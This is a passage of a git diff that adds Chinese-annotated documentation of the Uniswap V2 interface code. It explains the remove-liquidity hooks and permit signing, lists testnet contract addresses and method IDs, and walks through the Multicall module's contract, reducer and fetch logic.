+          action: 'Add',
+          label: [currencies[Field.CURRENCY_A]?.symbol, currencies[Field.CURRENCY_B]?.symbol].join('/')
+        })
+      })
+    )
+    .catch(error => {
+      setAttemptingTxn(false)
+      // we only care if the error is something _other_ than the user rejected the tx
+      // 交易发生错误,忽略错误码4001的情况
+      // 4001 代表用户在钱包确认阶段拒绝了交易
+      if (error?.code !== 4001) {
+        console.error(error)
+      }
+    })
+}
+```
+
+## RemoveLiquidity
+
+### useDerivedBurnInfo
+
+根据用户输入，返回预估移除流动性的数据
+
+- pair 池子对象，@uniswap/v2-sdk/Pair 类型
+- parsedAmounts 计算后的移除流动性数据，用于发起移除交易
+- error 报错信息
+
+```ts
+// src/state/burn/hooks.ts
+export function useDerivedBurnInfo(
+  currencyA: Currency | undefined,
+  currencyB: Currency | undefined
+): {
+  pair?: Pair | null
+  parsedAmounts: {
+    [Field.LIQUIDITY_PERCENT]: Percent
+    [Field.LIQUIDITY]?: TokenAmount
+    [Field.CURRENCY_A]?: CurrencyAmount
+    [Field.CURRENCY_B]?: CurrencyAmount
+  }
+  error?: string
+} {
+  const { account, chainId } = useActiveWeb3React()
+
+  // 拿到用户的输入数值，independentField 输入的在哪一边 typedValue 销毁流动性数量的百分比
+  const { independentField, typedValue } = useBurnState()
+
+  // pair + totalsupply
+  // 调用 @uniswap/sdk/Pair 来获取池子的对象
+  const [, pair] = usePair(currencyA, currencyB)
+
+  // balances
+  // 查询用户的流动性数量 pair.balanceOf
+  const relevantTokenBalances = useTokenBalances(account ?? undefined, [pair?.liquidityToken])
+  const userLiquidity: undefined | TokenAmount = relevantTokenBalances?.[pair?.liquidityToken?.address ?? '']
+
+  const [tokenA, tokenB] = [wrappedCurrency(currencyA, chainId), wrappedCurrency(currencyB, chainId)]
+  const tokens = {
+    [Field.CURRENCY_A]: tokenA,
+    [Field.CURRENCY_B]: tokenB,
+    [Field.LIQUIDITY]: pair?.liquidityToken
+  }
+
+  // liquidity values
+  // 查询pair的总流动性数量 pair.totalSupply()
+  const totalSupply = useTotalSupply(pair?.liquidityToken)
+  // 估算用户在池子内两个token的总量
+  // @uniswap/v2-sdk/Pair.getLiquidityValue
+  // tokenAmount = liquidit / liquidityTotal * reserve
+  const liquidityValueA =
+    pair &&
+    totalSupply &&
+    userLiquidity &&
+    tokenA &&
+    // this condition is a short-circuit in the case where useTokenBalance updates sooner than useTotalSupply
+    // 这个条件判断是一个逻辑短路, 以防用户在当前交易对下的流动性数量的更新早于交易对的总流动性数量更新 
+    JSBI.greaterThanOrEqual(totalSupply.raw, userLiquidity.raw)
+      ? new TokenAmount(tokenA, pair.getLiquidityValue(tokenA, totalSupply, userLiquidity, false).raw)
+      : undefined
+  const liquidityValueB =
+    pair &&
+    totalSupply &&
+    userLiquidity &&
+    tokenB &&
+    // this condition is a short-circuit in the case where useTokenBalance updates sooner than useTotalSupply
+    // 这个条件判断是一个逻辑短路, 以防用户在当前交易对下的流动性数量的更新早于交易对的总流动性数量更新
+    JSBI.greaterThanOrEqual(totalSupply.raw, userLiquidity.raw)
+      ? new TokenAmount(tokenB, pair.getLiquidityValue(tokenB, totalSupply, userLiquidity, false).raw)
+      : undefined
+  const liquidityValues: { [Field.CURRENCY_A]?: TokenAmount; [Field.CURRENCY_B]?: TokenAmount } = {
+    [Field.CURRENCY_A]: liquidityValueA,
+    [Field.CURRENCY_B]: liquidityValueB
+  }
+
+  // 计算要移除的百分比
+  let percentToRemove: Percent = new Percent('0', '100')
+  // user specified a %
+  // simple模式，用户直接托滑块选择百分比
+  if (independentField === Field.LIQUIDITY_PERCENT) {
+    percentToRemove = new Percent(typedValue, '100')
+  }
+  // user specified a specific amount of liquidity tokens
+  // detail模式，用户输入要移除的liquidity数量，换算成百分比
+  else if (independentField === Field.LIQUIDITY) {
+    if (pair?.liquidityToken) {
+      const independentAmount = tryParseAmount(typedValue, pair.liquidityToken)
+      // 移除的流动性不能大于用户的总流动性
+      if (independentAmount && userLiquidity && !independentAmount.greaterThan(userLiquidity)) {
+        // 移除百分比 = 移除流动性 / 用户总流动性
+        percentToRemove = new Percent(independentAmount.raw, userLiquidity.raw)
+      }
+    }
+  }
+  // user specified a specific amount of token a or b
+  // detail模式，用户输入要移除的token数量(tokenA/tokenB)，换算成百分比
+  else {
+    if (tokens[independentField]) {
+      const independentAmount = tryParseAmount(typedValue, tokens[independentField])
+      const liquidityValue = liquidityValues[independentField]
+      // 移除的token数量不能大于池子内用户的token总数
+      if (independentAmount && liquidityValue && !independentAmount.greaterThan(liquidityValue)) {
+        // 移除百分比 = 移除的token数量 / 池子内用户的token总数
+        percentToRemove = new Percent(independentAmount.raw, liquidityValue.raw)
+      }
+    }
+  }
+
+  // 组装数据
+  const parsedAmounts: {
+    [Field.LIQUIDITY_PERCENT]: Percent
+    [Field.LIQUIDITY]?: TokenAmount
+    [Field.CURRENCY_A]?: TokenAmount
+    [Field.CURRENCY_B]?: TokenAmount
+  } = {
+    [Field.LIQUIDITY_PERCENT]: percentToRemove,
+    [Field.LIQUIDITY]:
+      userLiquidity && percentToRemove && percentToRemove.greaterThan('0')
+        ? new TokenAmount(userLiquidity.token, percentToRemove.multiply(userLiquidity.raw).quotient)
+        : undefined,
+    [Field.CURRENCY_A]:
+      tokenA && percentToRemove && percentToRemove.greaterThan('0') && liquidityValueA
+        ? new TokenAmount(tokenA, percentToRemove.multiply(liquidityValueA.raw).quotient)
+        : undefined,
+    [Field.CURRENCY_B]:
+      tokenB && percentToRemove && percentToRemove.greaterThan('0') && liquidityValueB
+        ? new TokenAmount(tokenB, percentToRemove.multiply(liquidityValueB.raw).quotient)
+        : undefined
+  }
+
+  let error: string | undefined
+  if (!account) {
+    error = 'Connect Wallet'
+  }
+
+  if (!parsedAmounts[Field.LIQUIDITY] || !parsedAmounts[Field.CURRENCY_A] || !parsedAmounts[Field.CURRENCY_B]) {
+    error = error ?? 'Enter an amount'
+  }
+
+  return { pair, parsedAmounts, error }
+}
+```
+
+### onAttemptToApprove
+
+根据用户移除的输入数值，计算签名消息并调用钱包签名方法，获得v,r,s 和 deadline一起存入 setSignatureData 字段
+
+```ts
+// src/pages/RemoveLiquidity/index.tsx
+async function onAttemptToApprove() {
+  if (!pairContract || !pair || !library || !deadline) throw new Error('missing dependencies')
+  const liquidityAmount = parsedAmounts[Field.LIQUIDITY]
+  if (!liquidityAmount) throw new Error('missing liquidity amount')
+
+  // 如果是ArgentWallet 直接返回pair合约的approve方法
+  if (isArgentWallet) {
+    return approveCallback()
+  }
+
+  // try to gather a signature for permission
+  // 尝试生成一个授权签名
+  // 获取用户在pair合约中的nonce值
+  const nonce = await pairContract.nonces(account)
+
+  // 一些签名用的参数
+  const EIP712Domain = [
+    { name: 'name', type: 'string' },
+    { name: 'version', type: 'string' },
+    { name: 'chainId', type: 'uint256' },
+    { name: 'verifyingContract', type: 'address' }
+  ]
+  const domain = {
+    name: 'Uniswap V2',
+    version: '1',
+    chainId: chainId,
+    verifyingContract: pair.liquidityToken.address
+  }
+  const Permit = [
+    { name: 'owner', type: 'address' },
+    { name: 'spender', type: 'address' },
+    { name: 'value', type: 'uint256' },
+    { name: 'nonce', type: 'uint256' },
+    { name: 'deadline', type: 'uint256' }
+  ]
+  // 组装被签名的消息，其中包括要移除的流动性数量，所以当数值变化需要重新生成签名参数
+  const message = {
+    owner: account,
+    spender: ROUTER_ADDRESS,
+    value: liquidityAmount.raw.toString(),
+    nonce: nonce.toHexString(),
+    deadline: deadline.toNumber()
+  }
+  const data = JSON.stringify({
+    types: {
+      EIP712Domain,
+      Permit
+    },
+    domain,
+    primaryType: 'Permit',
+    message
+  })
+
+  // 调用provider的签名方法获得 v,r,s 和 deadline一起存入 setSignatureData 字段
+  library
+    .send('eth_signTypedData_v4', [account, data])
+    .then(splitSignature)
+    .then(signature => {
+      setSignatureData({
+        v: signature.v,
+        r: signature.r,
+        s: signature.s,
+        deadline: deadline.toNumber()
+      })
+    })
+    .catch(error => {
+      // for all errors other than 4001 (EIP-1193 user rejected request), fall back to manual approve
+      // 忽略用户拒绝签名的情况
+      if (error?.code !== 4001) {
+        approveCallback()
+      }
+    })
+}
+
+```
+
+### onRemove
+
+发送移除流动性交易的方法
+
+```ts
+async function onRemove() {
+  if (!chainId || !library || !account || !deadline) throw new Error('missing dependencies')
+  const { [Field.CURRENCY_A]: currencyAmountA, [Field.CURRENCY_B]: currencyAmountB } = parsedAmounts
+  if (!currencyAmountA || !currencyAmountB) {
+    throw new Error('missing currency amounts')
+  }
+
+  // 拿到Router合约对象
+  const router = getRouterContract(chainId, library, account)
+
+  // 根据滑点百分比计算最少需要移除的流动性数量 - 针对token的数量
+  const amountsMin = {
+    [Field.CURRENCY_A]: calculateSlippageAmount(currencyAmountA, allowedSlippage)[0],
+    [Field.CURRENCY_B]: calculateSlippageAmount(currencyAmountB, allowedSlippage)[0]
+  }
+
+  // 判断token是否已经全部设置
+  if (!currencyA || !currencyB) throw new Error('missing tokens')
+  const liquidityAmount = parsedAmounts[Field.LIQUIDITY]
+  // 判断流动性是否已经填写
+  if (!liquidityAmount) throw new Error('missing liquidity amount')
+
+  // 判断交易对是否有ETH
+  const currencyBIsETH = currencyB === ETHER
+  const oneCurrencyIsETH = currencyA === ETHER || currencyBIsETH
+
+  if (!tokenA || !tokenB) throw new Error('could not wrap')
+
+  // 有ETH调用router合约的 removeLiquidityETH 方法，没有则调用 removeLiquidity
+  let methodNames: string[], args: Array<string | string[] | number | boolean>
+  // we have approval, use normal remove liquidity
+  // 如果pair合约已经授权给router，直接调用普通的remove方法
+  if (approval === ApprovalState.APPROVED) {
+    // removeLiquidityETH
+    if (oneCurrencyIsETH) {
+      // 同时尝试两种方法，优先执行第一个
+      methodNames = ['removeLiquidityETH', 'removeLiquidityETHSupportingFeeOnTransferTokens']
+      args = [
+        currencyBIsETH ? tokenA.address : tokenB.address,
+        liquidityAmount.raw.toString(),
+        amountsMin[currencyBIsETH ? Field.CURRENCY_A : Field.CURRENCY_B].toString(),
+        amountsMin[currencyBIsETH ? Field.CURRENCY_B : Field.CURRENCY_A].toString(),
+        account,
+        deadline.toHexString()
+      ]
+    }
+    // removeLiquidity
+    else {
+      methodNames = ['removeLiquidity']
+      args = [
+        tokenA.address,
+        tokenB.address,
+        liquidityAmount.raw.toString(),
+        amountsMin[Field.CURRENCY_A].toString(),
+        amountsMin[Field.CURRENCY_B].toString(),
+        account,
+        deadline.toHexString()
+      ]
+    }
+  }
+  // we have a signataure, use permit versions of remove liquidity
+  // 没有授权，使用签名移除流动性的方法
+  else if (signatureData !== null) {
+    // removeLiquidityETHWithPermit
+    if (oneCurrencyIsETH) {
+      // ...SupportingFeeOnTransferTokens 是可以让router不验证token返回数量的方法
+      methodNames = ['removeLiquidityETHWithPermit', 'removeLiquidityETHWithPermitSupportingFeeOnTransferTokens']
+      args = [
+        currencyBIsETH ? tokenA.address : tokenB.address,
+        liquidityAmount.raw.toString(),
+        amountsMin[currencyBIsETH ? Field.CURRENCY_A : Field.CURRENCY_B].toString(),
+        amountsMin[currencyBIsETH ? Field.CURRENCY_B : Field.CURRENCY_A].toString(),
+        account,
+        signatureData.deadline,
+        false,
+        signatureData.v,
+        signatureData.r,
+        signatureData.s
+      ]
+    }
+    // removeLiquidityETHWithPermit
+    else {
+      methodNames = ['removeLiquidityWithPermit']
+      args = [
+        tokenA.address,
+        tokenB.address,
+        liquidityAmount.raw.toString(),
+        amountsMin[Field.CURRENCY_A].toString(),
+        amountsMin[Field.CURRENCY_B].toString(),
+        account,
+        signatureData.deadline,
+        false,
+        signatureData.v,
+        signatureData.r,
+        signatureData.s
+      ]
+    }
+  } else {
+    throw new Error('Attempting to confirm without approval or a signature. Please contact support.')
+  }
+
+  // 预执行所有交易
+  const safeGasEstimates: (BigNumber | undefined)[] = await Promise.all(
+    methodNames.map(methodName =>
+      router.estimateGas[methodName](...args)
+        .then(calculateGasMargin)
+        .catch(error => {
+          console.error(`estimateGas failed`, methodName, args, error)
+          return undefined
+        })
+    )
+  )
+
+  // 找出第一条执行成功的索引
+  const indexOfSuccessfulEstimation = safeGasEstimates.findIndex(safeGasEstimate =>
+    BigNumber.isBigNumber(safeGasEstimate)
+  )
+
+  // all estimations failed...
+  if (indexOfSuccessfulEstimation === -1) {
+    // 如果所有预执行都失败, 输出报错
+    console.error('This transaction would fail. Please contact support.')
+  } else {
+    // 执行优先级高的成功的方法
+    const methodName = methodNames[indexOfSuccessfulEstimation]
+    const safeGasEstimate = safeGasEstimates[indexOfSuccessfulEstimation]
+
+    // 打开交易进行中的提示窗
+    setAttemptingTxn(true)
+    // 调用router的移除方法
+    await router[methodName](...args, {
+      gasLimit: safeGasEstimate
+    })
+      .then((response: TransactionResponse) => {
+        // 执行成功关闭提示弹窗
+        setAttemptingTxn(false)
+
+        // 向Transaction state推送交易记录
+        addTransaction(response, {
+          summary:
+            'Remove ' +
+            parsedAmounts[Field.CURRENCY_A]?.toSignificant(3) +
+            ' ' +
+            currencyA?.symbol +
+            ' and ' +
+            parsedAmounts[Field.CURRENCY_B]?.toSignificant(3) +
+            ' ' +
+            currencyB?.symbol
+        })
+
+        setTxHash(response.hash)
+
+        ReactGA.event({
+          category: 'Liquidity',
+          action: 'Remove',
+          label: [currencyA?.symbol, currencyB?.symbol].join('/')
+        })
+      })
+      .catch((error: Error) => {
+        setAttemptingTxn(false)
+        // we only care if the error is something _other_ than the user rejected the tx
+        // 这里我们只关心具体错误, 而非是否是用户拒绝了交易
+        console.error(error)
+      })
+  }
+}
+```
diff --git a/defi/Uniswap-V2/Interface/InfoList.md b/defi/Uniswap-V2/Interface/InfoList.md
new file mode 100644
index 000000000..717dffe33
--- /dev/null
+++ b/defi/Uniswap-V2/Interface/InfoList.md
@@ -0,0 +1,69 @@
+# 相关信息列表
+
+## 演示环境
+
+- rinkeby 测试网络
+- V2Router地址 `0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D`
+- 测试网 DAI `0xc7AD46e0b8a400Bb3C915120d284AafbA8fc4735`
+- 自定义 token HEHE(HH) `0x6583989a0b7b86b026e50C4D0fa0FE1C5e3e8f85`
+- LPtoken `0x25c1CF39598DdD67bD68cA9e52f0c861D9Bf4c70`
+
+## 相关合约的 Methodid
+
+### ERC20
+
+| method name        | method id  |
+| ------------------ | ---------- |
+| DEFAULT_ADMIN_ROLE | 0xa217fddf |
+| INITIAL_SUPPLY     | 0x2ff2e9dc |
+| MINTER_ROLE        | 0xd5391393 |
+| PAUSER_ROLE        | 0xe63ab1e9 |
+| allowance          | 0xdd62ed3e |
+| approve            | 0x095ea7b3 |
+| balanceOf          | 0x70a08231 |
+| burn               | 0x42966c68 |
+| burnFrom           | 0x79cc6790 |
+| decimals           | 0x313ce567 |
+| decreaseAllowance  | 0xa457c2d7 |
+| getRoleAdmin       | 0x248a9ca3 |
+| getRoleMember      | 0x9010d07c |
+| getRoleMemberCount | 0xca15c873 |
+| grantRole          | 0x2f2ff15d |
+| hasRole            | 0x91d14854 |
+| increaseAllowance  | 0x39509351 |
+| mint               | 0x40c10f19 |
+| name               | 0x06fdde03 |
+| pause              | 0x8456cb59 |
+| paused             | 0x5c975abb |
+| renounceRole       | 0x36568abe |
+| revokeRole         | 0xd547741f |
+| supportsInterface  | 0x01ffc9a7 |
+| symbol             | 0x95d89b41 |
+| totalSupply        | 0x18160ddd |
+| transfer           | 0xa9059cbb |
+| transferFrom       | 0x23b872dd |
+| unpause            | 0x3f4ba83a |
+
+### UniswapV2Router
+
+| method name                  | method id  |
+| ---------------------------- | ---------- |
+| WETH                         | 0xad5c4648 |
+| addLiquidity                 | 0xe8e33700 |
+| addLiquidityETH              | 0xf305d719 |
+| factory                      | 0xc45a0155 |
+| getAmountIn                  | 0x85f8c259 |
+| getAmountOut                 | 0x054d50d4 |
+| getAmountsIn                 | 0x1f00ca74 |
+| getAmountsOut                | 0xd06ca61f |
+| quote                        | 0xad615dec |
+| removeLiquidity              | 0xbaa2abde |
+| removeLiquidityETH           | 0x02751cec |
+| removeLiquidityETHWithPermit | 0xded9382a |
+| removeLiquidityWithPermit    | 0x2195995c |
+| swapETHForExactTokens        | 0xfb3bdb41 |
+| swapExactETHForTokens        | 0x7ff36ab5 |
+| swapExactTokensForETH        | 0x18cbafe5 |
+| swapExactTokensForTokens     | 0x38ed1739 |
+| swapTokensForExactETH        | 0x4a25d94a |
+| swapTokensForExactTokens     | 0x8803dbee |
diff --git a/defi/Uniswap-V2/Interface/Multicall.md b/defi/Uniswap-V2/Interface/Multicall.md
new file mode 100644
index 000000000..004033f53
--- /dev/null
+++ b/defi/Uniswap-V2/Interface/Multicall.md
@@ -0,0 +1,923 @@
+# Multicall 模块解析
+
+> 项目中几乎所有对于合约的 call 都是通过 Multicall 模块发送给 Multicall 合约，进行批量请求
+
+![Multicall](./xmind/Multicall-min.png)
+
+详细结构与调用关系图示 :point_right: [Multicall](./xmind/Multicall.png)
+
+## 模块的特性
+
+Multicall 使用链上的 Multicall 合约进行批量请求的模块，其具备以下特点：
+
+- 针对请求的三个要素(合约地址/调用方法/调用参数)进行归档并建立追踪机制
+  - 请求失败自动重连
+  - 监听相关状态的改变(如区块高度，chainid 变化)，及时取消无用的请求，及时更新过期的数据
+- 批量化请求
+  - 将不同请求合并为一个个批次同时发送，节省 gas 费用
+  - 保证每个请求批次不会超过最大 gas 限制
+- `useSingleContractMultipleData` 对同一个合约发起批量的请求(同一个方法,但参数不同)
+- `useMultipleContractSingleData` 对多个合约发起相同方法和参数的请求
+- `useSingleCallResult` 调用一个合约的单次请求
+
+三种调用方法的对比
+
+| Multicall function            | contract address | contract methode | inputsdata |
+| ----------------------------- | ---------------- | ---------------- | ---------- |
+| useSingleContractMultipleData | 单个             | 相同             | 不同       |
+| useMultipleContractSingleData | 多个             | 相同             | 不同       |
+| useSingleCallResult           | 单个             | 相同             | 相同       |
+
+## MulticallContract
+
+这是一个辅助批量请求的合约，主要方法是 `aggregate`
+
+- 遍历循环入参 calls，逐个调用目标合约的方法
+- 将调用结果 `ret`，存入 `returnData[]` 中
+- 如果遍历过程中某一方法失败，会终止执行所有进程
+- 全部成功，将全部结果返回给调用者
+
+```solidity
+pragma solidity >=0.5.0;
+pragma experimental ABIEncoderV2;
+
+contract Multicall {
+    struct Call {
+        address target;
+        bytes callData;
+    }
+    function aggregate(Call[] memory calls) public returns (uint256 blockNumber, bytes[] memory returnData) {
+        blockNumber = block.number;
+        returnData = new bytes[](calls.length);
+        for(uint256 i = 0; i < calls.length; i++) {
+            (bool success, bytes memory ret) = calls[i].target.call(calls[i].callData);
+            require(success);
+            returnData[i] = ret;
+        }
+    }
+    // Helper functions
+    ...
+}
+```
+
+## StateData
+
+- `callResults` 是调用的返回结果
+- `callListeners` 是调用的监听器
+  - 键为 `{contractAddress}-{methodid}{calldata}`
+  - `blocksPerFetch` 是指在每个区块上有多少个相同的调用
+    - 键：当前区块是 1，倒数第二个是 2...
+    - 值：在该区块上有多少个相同的调用
+
+Multicall 模块在 redux 中的 state 看起来是这样的：
+
+```ts
+{
+  multicall: {
+    callResults: {
+      '4': {  // chainid
+        // `{contractAddress}-{methodid}{calldata}`
+        '0x42Ad527de7d4e9d9d011aC45B31D8551f8Fe9821-0x4d2301cc000000000000000000000000e45d43feb3f65b4587510a68722450b629154e6f': {
+          data: '0x000000000000000000000000000000000000000000000001ebf7caf35e327a08',   // 返回数据
+          blockNumber: 9139591  // 区块高度
+        },
+        ...
+      }
+    },
+    callListeners: {
+      '4': {  // chainid
+        '0x42Ad527de7d4e9d9d011aC45B31D8551f8Fe9821-0x4d2301cc000000000000000000000000e45d43feb3f65b4587510a68722450b629154e6f': {
+          // blocksPerFetch: value
+          // 1 代表的是在当前区块上(已生成的最新区块)
+          // 倒数第二个区块则是2，以此类推
+          // 4 代表在这个区块上有多少次相同的调用 (合约地址，方法名，入参 三者完全一样)
+          '1': 4,
+          // 倒数第3个区块内，有5次相同的请求
+          '3': 5,
+          ...
+        },
+        ...
+      }
+    }
+  }
+}
+```
+
+## Reducer
+
+初始化 Multicall state，并规定更新状态的方法
+
+```ts
+// src/state/multicall/reducer.ts
+export interface MulticallState {
+  callListeners?: {
+    // on a per-chain basis
+    [chainId: number]: {
+      // stores for each call key the listeners' preferences
+      // `{contractAddress}-{methodid}{calldata}`
+      [callKey: string]: {
+        // stores how many listeners there are per each blocks per fetch preference
+        [blocksPerFetch: number]: number;
+      };
+    };
+  };
+
+  callResults: {
+    [chainId: number]: {
+      [callKey: string]: {
+        data?: string | null;
+        blockNumber?: number;
+        fetchingBlockNumber?: number;
+      };
+    };
+  };
+}
+
+const initialState: MulticallState = {
+  callResults: {},
+};
+
+export default createReducer(initialState, (builder) =>
+  builder
+    // 每当有新的请求，会触发 add 事件，添加新的监听器
+    // blocksPerFetch 默认是1 即代表当前区块
+    .addCase(
+      addMulticallListeners,
+      (
+        state,
+        { payload: { calls, chainId, options: { blocksPerFetch = 1 } = {} } }
+      ) => {
+        const listeners: MulticallState["callListeners"] = state.callListeners
+          ? state.callListeners
+          : (state.callListeners = {});
+        listeners[chainId] = listeners[chainId] ?? {};
+        calls.forEach((call) => {
+          const callKey = toCallKey(call);
+          listeners[chainId][callKey] = listeners[chainId][callKey] ?? {};
+          // 这里比较绕，主要目的是为了记录相同调用的累加次数，作为后面判断是否优先重新请求的权重
+          // 每当有相同的请求，这里的值会+1
+          listeners[chainId][callKey][blocksPerFetch] =
+            (listeners[chainId][callKey][blocksPerFetch] ?? 0) + 1;
+        });
+      }
+    )
+    // 移除请求监听器 (blocksPerFetch - 1)
+    // 一般作为 useEffect 的返回方法，即每当useEffect被新触发时，会调用本方法清除上一轮useEffect产生的监听器
+    // 具体原理请参考react hooks 机制
+    .addCase(
+      removeMulticallListeners,
+      (
+        state,
+        { payload: { chainId, calls, options: { blocksPerFetch = 1 } = {} } }
+      ) => {
+        const listeners: MulticallState["callListeners"] = state.callListeners
+          ? state.callListeners
+          : (state.callListeners = {});
+
+        if (!listeners[chainId]) return;
+        calls.forEach((call) => {
+          const callKey = toCallKey(call);
+          if (!listeners[chainId][callKey]) return;
+          if (!listeners[chainId][callKey][blocksPerFetch]) return;
+
+          // 移除监听器实际上是减少 blocksPerFetch 的值
+          // 即减少其重新请求的优先级
+          // 当 blocksPerFetch 减为0 直接移除监听器
+          if (listeners[chainId][callKey][blocksPerFetch] === 1) {
+            delete listeners[chainId][callKey][blocksPerFetch];
+          } else {
+            listeners[chainId][callKey][blocksPerFetch]--;
+          }
+        });
+      }
+    )
+    // 更新事件，每次发送请求会触发，更新请求时的区块高度 fetchingBlockNumber
+    .addCase(
+      fetchingMulticallResults,
+      (state, { payload: { chainId, fetchingBlockNumber, calls } }) => {
+        state.callResults[chainId] = state.callResults[chainId] ?? {};
+        calls.forEach((call) => {
+          const callKey = toCallKey(call);
+          const current = state.callResults[chainId][callKey];
+          if (!current) {
+            state.callResults[chainId][callKey] = {
+              fetchingBlockNumber,
+            };
+          } else {
+            if ((current.fetchingBlockNumber ?? 0) >= fetchingBlockNumber)
+              return;
+            state.callResults[chainId][callKey].fetchingBlockNumber =
+              fetchingBlockNumber;
+          }
+        });
+      }
+    )
+    // 请求返回错误时的事件，错误信息写入callResults
+    .addCase(
+      errorFetchingMulticallResults,
+      (state, { payload: { fetchingBlockNumber, chainId, calls } }) => {
+        state.callResults[chainId] = state.callResults[chainId] ?? {};
+        calls.forEach((call) => {
+          const callKey = toCallKey(call);
+          const current = state.callResults[chainId][callKey];
+          if (!current) return; // only should be dispatched if we are already fetching
+          if (current.fetchingBlockNumber === fetchingBlockNumber) {
+            delete current.fetchingBlockNumber;
+            current.data = null;
+            current.blockNumber = fetchingBlockNumber;
+          }
+        });
+      }
+    )
+    // 请求成功时的事件，返回数据写入callResults
+    .addCase(
+      updateMulticallResults,
+      (state, { payload: { chainId, results, blockNumber } }) => {
+        state.callResults[chainId] = state.callResults[chainId] ?? {};
+        Object.keys(results).forEach((callKey) => {
+          const current = state.callResults[chainId][callKey];
+          if ((current?.blockNumber ?? 0) > blockNumber) return;
+          state.callResults[chainId][callKey] = {
+            data: results[callKey],
+            blockNumber,
+          };
+        });
+      }
+    )
+);
+```
+
+## Updater
+
+发送 Multicall 调用，并更新 state 数据
+
+### fetchChunk
+
+调用 Multicall 合约的方法
+
+```ts
+// chunk calls so we do not exceed the gas limit
+// 每批次最多发送500个调用
+const CALL_CHUNK_SIZE = 500;
+
+/**
+ * Fetches a chunk of calls, enforcing a minimum block number constraint
+ * @param multicallContract multicall contract to fetch against
+ * @param chunk chunk of calls to make
+ * @param minBlockNumber minimum block number of the result set
+ */
+async function fetchChunk(
+  multicallContract: Contract,
+  chunk: Call[],
+  minBlockNumber: number
+): Promise<{ results: string[]; blockNumber: number }> {
+  console.debug("Fetching chunk", multicallContract, chunk, minBlockNumber);
+  let resultsBlockNumber, returnData;
+  try {
+    // 将批量请求组装成calls打包发送给 aggregate 方法
+    [resultsBlockNumber, returnData] = await multicallContract.aggregate(
+      chunk.map((obj) => [obj.address, obj.callData])
+    );
+  } catch (error) {
+    console.debug("Failed to fetch chunk inside retry", error);
+    throw error;
+  }
+  if (resultsBlockNumber.toNumber() < minBlockNumber) {
+    // 如果返回的blockNumber 小于规定的过期区块高度 minBlockNumber
+    // 抛出请求过期的错误
+    console.debug(
+      `Fetched results for old block number: ${resultsBlockNumber.toString()} vs. ${minBlockNumber}`
+    );
+    throw new RetryableError("Fetched for old block number");
+  }
+  return { results: returnData, blockNumber: resultsBlockNumber.toNumber() };
+}
+```
+
+### activeListeningKeys
+
+在每种相同的请求内，筛选出优先级最高的监听器
+
+- 排除 `blocksPerFetch` <= 0 的监听器，说明已经没有实际的调用
+- 找出同一种调用(合约地址，方法名，入参全部相同的)中，`blocksPerFetch` 最小的监听器，即最新的一个调用
+
+```ts
+/**
+ * From the current all listeners state, return each call key mapped to the
+ * minimum number of blocks per fetch. This is how often each key must be fetched.
+ * @param allListeners the all listeners state
+ * @param chainId the current chain id
+ */
+// 从最近的每种监听器中，筛选出每种调用 blocksPerFetch 最小的监听器
+// blocksPerFetch 最小(排除 0 )，代表最新的一个监听器
+export function activeListeningKeys(
+  allListeners: AppState["multicall"]["callListeners"],
+  chainId?: number
+): { [callKey: string]: number } {
+  if (!allListeners || !chainId) return {};
+  const listeners = allListeners[chainId];
+  if (!listeners) return {};
+
+  return Object.keys(listeners).reduce<{ [callKey: string]: number }>(
+    (memo, callKey) => {
+      const keyListeners = listeners[callKey];
+
+      memo[callKey] = Object.keys(keyListeners)
+        .filter((key) => {
+          const blocksPerFetch = parseInt(key);
+          if (blocksPerFetch <= 0) return false;
+          return keyListeners[blocksPerFetch] > 0;
+        })
+        .reduce((previousMin, current) => {
+          return Math.min(previousMin, parseInt(current));
+        }, Infinity);
+      return memo;
+    },
+    {}
+  );
+}
+```
+
+### outdatedListeningKeys
+
+接收`activeListeningKeys()`返回的列表，继续筛选出数据过期，需要发送请求的监听器列表
+
+- 结果中没有数据，说明还未发送过请求，需要请求
+- 结果中有数据
+  - 有`fetchingBlockNumber`字段，说明正在请求中，或已成功请求返回数据
+    - 根据`fetchingBlockNumber`判断是否过期
+  - 没有`fetchingBlockNumber`字段，说明之前请求过，但是返回了错误
+    - 没有`blockNumber`或 过期，需要请求
+
+```ts
+/**
+ * Return the keys that need to be refetched
+ * @param callResults current call result state
+ * @param listeningKeys each call key mapped to how old the data can be in blocks
+ * @param chainId the current chain id
+ * @param latestBlockNumber the latest block number
+ */
+export function outdatedListeningKeys(
+  callResults: AppState["multicall"]["callResults"],
+  listeningKeys: { [callKey: string]: number },
+  chainId: number | undefined,
+  latestBlockNumber: number | undefined
+): string[] {
+  if (!chainId || !latestBlockNumber) return [];
+  // 返回在当前链上的请求结果
+  const results = callResults[chainId];
+  // no results at all, load everything
+  // 如果没有结果, 加载所有监听器
+  if (!results) return Object.keys(listeningKeys);
+
+  return Object.keys(listeningKeys).filter((callKey) => {
+    const blocksPerFetch = listeningKeys[callKey];
+
+    const data = callResults[chainId][callKey];
+    // no data, must fetch
+    // 没有data数据, 需要获取
+    if (!data) return true;
+
+    const minDataBlockNumber = latestBlockNumber - (blocksPerFetch - 1);
+
+    // already fetching it for a recent enough block, don't refetch it
+    // 已经获取了最近区块的请求, 无需重新获取
+    if (
+      data.fetchingBlockNumber &&
+      data.fetchingBlockNumber >= minDataBlockNumber
+    )
+      return false;
+
+    // if data is older than minDataBlockNumber, fetch it
+    // 如果获取的当前 data 的区块区块高度小于设定的最新区块高度, 重新获取 data
+    return !data.blockNumber || data.blockNumber < minDataBlockNumber;
+  });
+}
+```
+
+### retry
+
+当传入方法执行失败时，尝试重试，返回撤销执行的方法和执行的结果
+
+- 每次执行方法后，会在 minWait 和 maxWait 区间内随机出一个等待时间上限，超过则直接重试
+
+```ts
+// src/utils/retry.ts
+/**
+ * Retries the function that returns the promise until the promise successfully resolves up to n retries
+ * @param fn 待执行的方法
+ * @param n 最多执行多少次
+ * @param minWait min wait between retries in ms
+ * @param maxWait max wait between retries in ms
+ *
+ */
+export function retry<T>(
+  fn: () => Promise<T>,
+  { n, minWait, maxWait }: { n: number; minWait: number; maxWait: number }
+): { promise: Promise<T>; cancel: () => void } {
+  // 是否已经完成请求, 默认false
+  let completed = false;
+  // 取消当前请求的方法
+  let rejectCancelled: (error: Error) => void;
+
+  const promise = new Promise<T>(async (resolve, reject) => {
+    //将当前取消请求的方法赋值给rejectCancelled
+    rejectCancelled = reject;
+    while (true) {
+      let result: T;
+      try {
+        // 尝试发起请求, 如果没有报错, 返回结果, 并将completed设为true
+        result = await fn();
+        if (!completed) {
+          resolve(result);
+          completed = true;
+        }
+        break;
+      } catch (error) {
